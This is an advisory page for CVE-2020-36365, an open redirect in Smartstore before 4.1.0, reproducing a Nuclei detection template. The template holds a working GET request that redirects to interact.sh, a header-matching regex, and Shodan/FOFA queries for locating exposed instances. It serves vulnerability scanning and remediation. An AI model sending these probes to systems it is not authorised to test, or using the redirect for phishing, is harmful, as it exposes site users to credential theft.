CVE-2020-36365: Smartstore <4.1.0 - Open Redirect

2025-08-01 Smartstore PoC Public

Description

Smartstore (aka "SmartStoreNET") before 4.1.0 contains an open redirect vulnerability via CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2020-36365

info:
  name: Smartstore <4.1.0 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Smartstore (aka "SmartStoreNET") before 4.1.0 contains an open redirect vulnerability via CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
  remediation: |
    Upgrade Smartstore to version 4.1.0 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/smartstore/SmartStoreNET/issues/2113
    - https://github.com/smartstore/SmartStoreNET
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36365
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-36365
    cwe-id: CWE-601
    epss-score: 0.02985
    epss-percentile: 0.86622
    cpe: cpe:2.3:a:smartstore:smartstorenet:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: smartstore
    product: smartstorenet
    shodan-query:
      - http.html:'content="Smartstore'
      - http.html:'content="smartstore'
    fofa-query: body='content="smartstore'
  tags: cve2020,cve,redirect,smartstore,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/backend/admin/common/clearcache?previousUrl=http://www.interact.sh'

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a00473045022064d140ce505b6421cada80c1dbb5b4157bc7d188f53922b9255c6bbf8b1ef81c02210086e65099d40a30b23ca0d734dd1959dd21b51e757d3d3200f5b6e64288193474:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-36365.yaml

References

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